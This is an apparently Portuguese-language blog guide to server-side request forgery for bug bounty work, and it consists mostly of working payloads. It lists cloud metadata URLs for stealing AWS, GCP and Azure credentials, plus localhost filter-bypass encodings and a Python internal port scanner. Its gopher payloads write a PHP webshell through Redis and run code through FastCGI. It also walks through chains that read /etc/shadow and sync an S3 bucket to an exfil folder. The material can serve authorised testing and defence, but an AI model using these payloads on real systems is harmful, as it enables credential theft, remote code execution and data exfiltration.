Kaique Mitsuo Silva Yamamoto
Seguranca informacaoWeb vulnerabilities

SSRF Deep Dive: Server-Side Request Forgery

SSRF básico a avançado, cloud metadata exploitation, blind SSRF, gopher protocol, DNS rebinding, bypass techniques — guia completo para bug bounty.

SSRF faz o servidor fazer requisições para URLs controladas pelo atacante. É a vulnerabilidade #1 em ambientes cloud — e uma das mais bem pagas em bug bounty.


Taxonomia SSRF

SSRF
├── In-band (response retorna dados da requisição)
├── Blind/Semi-blind (sem retorno visível)
├── Partial (apenas status code ou timing)
└── Advanced
    ├── DNS rebinding
    ├── Gopher protocol
    ├── Redirecionamento (redirect-based)
    └── Chain com outras vulns

Cloud Metadata — O Santo Graal

AWS

# IMDSv1 (sem autenticação)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# IMDSv2 (requer token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# ECS metadata
http://169.254.170.2/v2/credentials/UUID
http://169.254.170.2/v2/stats

# Lambda
http://localhost:9001/2018-06-01/runtime/invocation/next

# S3 via metadata (se instance profile tem acesso)
http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role
# Usar access key da response para acessar S3

GCP

# Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/project/project-id

# Header obrigatório no GCP
# Metadata-Flavor: Google

# Service account token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Retorna OAuth2 access_token para usar na API do GCP

# Custom metadata
http://metadata.google.internal/computeMetadata/v1/instance/attributes/

Azure

# Instance Metadata Service (IMDS)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header obrigatório: Metadata: true

# Managed Identity token
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/&api-version=2018-02-01
# Header: Metadata: true

# VM extensions
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01

# Atualmente em SSRF:
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://vault.azure.net/&api-version=2018-02-01
# Header: Metadata: true
# → Token para Azure Key Vault

DigitalOcean

http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Bypass Techniques

IP encoding bypass

# Decimal
http://2130706433        → 127.0.0.1
http://017700000001      → 127.0.0.1 (octal)
http://0x7f000001        → 127.0.0.1 (hex)

# Mixed encoding
http://127.1             → 127.0.0.1
http://0                 → 0.0.0.0
http://0177.0.1          → 127.0.0.1
http://0x7f.1            → 127.0.0.1

# Decimal+port
http://2130706433:8080
http://017700000001:8080

# IPv6
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:7f00:1]

# Decimal IPv6
http://[::2130706433]

URL bypass

# Subdomain redirect
http://127.0.0.1.nip.io
http://127.0.0.1.sslip.io
http://127.0.0.1.xip.io

# URL authority bypass
http://[email protected]
http://127.0.0.1#@attacker.com
http://127.0.0.1%[email protected]

# Protocol confusion
http://127.0.0.1:80/path#fragment
http://127.0.0.1:80%2fpath
http://127.0.0.1%00:80/path

# Double encoding
http://%31%32%37%2e%30%2e%30%2e%31 → 127.0.0.1

# DNS rebinding
# attacker.com resolves to 1.2.3.4 first, then 127.0.0.1
# Usar rbndr.us dns rebinding service
http://7f000001.c0a80001.rbndr.us

# Redirect-based SSRF
# Servidor fetcha attacker.com que redireciona para 169.254.169.254
# Se servidor não segue redirects → SSRF via redirect

Filter bypass

# Blacklist de "localhost" / "127.0.0.1"
http://127.1
http://0
http://0177.0.0.1
http://[::1]
http://127.0.0.1.nip.io
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io

# Blacklist de "169.254.169.254"
http://0251.0376.0251.0376  (octal)
http://0xa9fea9fe          (hex)
http://2852039166           (decimal)
http://169.254.169.254.nip.io

# URL parser confusion
http://127.0.0.1:[email protected]  → parser pode extrair 127.0.0.1
http://attacker.com#127.0.0.1     → fragment não enviado ao servidor
http://127.0.0.1%00.attacker.com  → null byte no hostname

# Case sensitivity
HTTP://127.0.0.1
HtTp://127.0.0.1

# @ in userinfo
http://[email protected]

Blind SSRF

Detecção

# Usar Burp Collaborator
# Inserir URL no campo vulnerável e verificar callback

# interact.sh (gratuito)
interactsh-client -server interact.sh
# Gerar payload: http://UNIQUE_ID.interact.sh

# Canary tokens
https://canarytokens.com/generate escolher "Web bug"

# DNSLOG.cn (gratuito para chineses, funciona globalmente)
http://UNIQUE.dnslog.cn

# Timing-based detection
# Comparar tempo de resposta:
http://127.0.0.1:22 timeout (porta fechada) = ~10s
http://127.0.0.1:80 resposta rápida = ~200ms
http://127.0.0.1:3306 resposta média = ~1s

Port scanning via Blind SSRF

import requests
import time

target_url = "https://target.com/api/fetch"
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

for port in ports:
    start = time.time()
    r = requests.get(target_url, params={"url": f"http://127.0.0.1:{port}"}, timeout=10)
    elapsed = time.time() - start
    
    if elapsed < 1:
        print(f"Port {port}: OPEN ({elapsed:.2f}s)")
    elif elapsed < 9:
        print(f"Port {port}: FILTERED ({elapsed:.2f}s)")
    else:
        print(f"Port {port}: CLOSED (timeout)")

Gopher Protocol

Gopher permite enviar bytes arbitrários — útil para atacar serviços internos via SSRF.

# Formato gopher
gopher://host:port/_PAYLOAD

# Atacar Redis via gopher
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a

# Escrever webshell via Redis
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0AINFO%0D%0A
%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/var/www/html%0D%0A
%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A
%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0Ax%0D%0A%24%0D%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0D%0A
%2A1%0D%0A%244%0D%0ASAVE%0D%0A%0D%0A

# Atacar MySQL via gopher (não autenticado)
gopher://127.0.0.1:3306/_PAYLOAD_MYSQL_HANDSHAKE

# Atacar SMTP via gopher
gopher://127.0.0.1:25/_MAIL%20FROM:[email protected]%0ARCPT%20TO:[email protected]%0ADATA%0ASubject:SSRF%0A%0Ahacked%0A.%0A

# Atacar FastCGI via gopher
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%00%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09%50HP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%27%29%3B%20%3F%3E%01%00%00%00%00

Gopherus (ferramenta)

# Instalar
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus && python3 gopherus.py --exploit

# Gerar payload para Redis
python3 gopherus.py --exploit redis
# Escolher: PHP shell, crontab, SSH key, etc.

# Gerar payload para MySQL
python3 gopherus.py --exploit mysql
# Root sem senha

# Gerar payload para SMTP
python3 gopherus.py --exploit smtp
# Enviar email

# Gerar payload para FastCGI
python3 gopherus.py --exploit fastcgi
# /var/www/html/index.php → LFI/RCE

SSRF Chains

SSRF → LFI

1. SSRF em PDF export
2. URL: file:///etc/passwd
3. PDF gerado contém /etc/passwd

# Outros endpoints comuns de PDF:
/api/export?url=file:///etc/shadow
/api/invoice?pdf_url=file:///proc/self/environ
/api/report?template=file:///etc/hosts

SSRF → RCE (via Redis)

1. SSRF permite acesso a Redis (porta 6379)
2. Redis sem autenticação
3. Via gopher: escrever crontab com reverse shell
4. Resultado: RCE no servidor

# Ou escrever webshell:
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['cmd']); ?>"
SAVE

SSRF → AWS CLI access

1. SSRF acessa http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role
2. Obtém AccessKeyId, SecretAccessKey, Token
3. Configura AWS CLI com essas credenciais
4. Enumera S3 buckets, Lambda, etc.
5. Possível exfiltração massiva de dados

$ export AWS_ACCESS_KEY_ID=ASIA...
$ export AWS_SECRET_ACCESS_KEY=...
$ export AWS_SESSION_TOKEN=...
$ aws s3 ls
$ aws s3 sync s3://target-bucket ./exfil/

Ferramentas

# SSRFmap (automatizado)
python3 ssrfmap.py -r request.txt -p url -m readfiles

# gopherus (gera payloads gopher)
python3 gopherus.py --exploit redis

# interact.sh (blind SSRF detection)
interactsh-client

# Burp Collaborator (Pro only)
# Extensão: Collaborator Everywhere
# Detecta SSRF em headers: Referer, X-Forwarded-For, etc.

Referências

On this page